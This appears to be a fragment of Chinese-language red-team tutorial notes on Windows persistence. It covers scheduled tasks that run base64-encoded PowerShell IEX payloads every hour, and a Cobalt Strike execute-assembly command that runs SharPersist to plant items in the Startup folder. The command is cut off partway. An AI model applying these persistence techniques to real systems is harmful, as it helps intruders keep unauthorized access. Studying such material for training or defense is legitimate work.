Windows计划任务允许我们创建在预定触发器上执行的“任务”。该触发器可以是一天中的某个时间、用户登录时、计算机空闲时、计算机锁定时，或者上述情况的组合例如创建一个计划任务，每小时执行一次PowerShell有效负载为了避免在IEX命令中处理大量引号，可以将其编码为base64，然

用户每次登录时，启动文件夹中的应用程序、文件和快捷方式会自动启动，通常用来引导用户的环境配置（设置壁纸、快捷方式等），可以通过CobaltStrike客户端中执行beacon>execute-assemblyC:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe-tstartupfolder-c"C:\Windows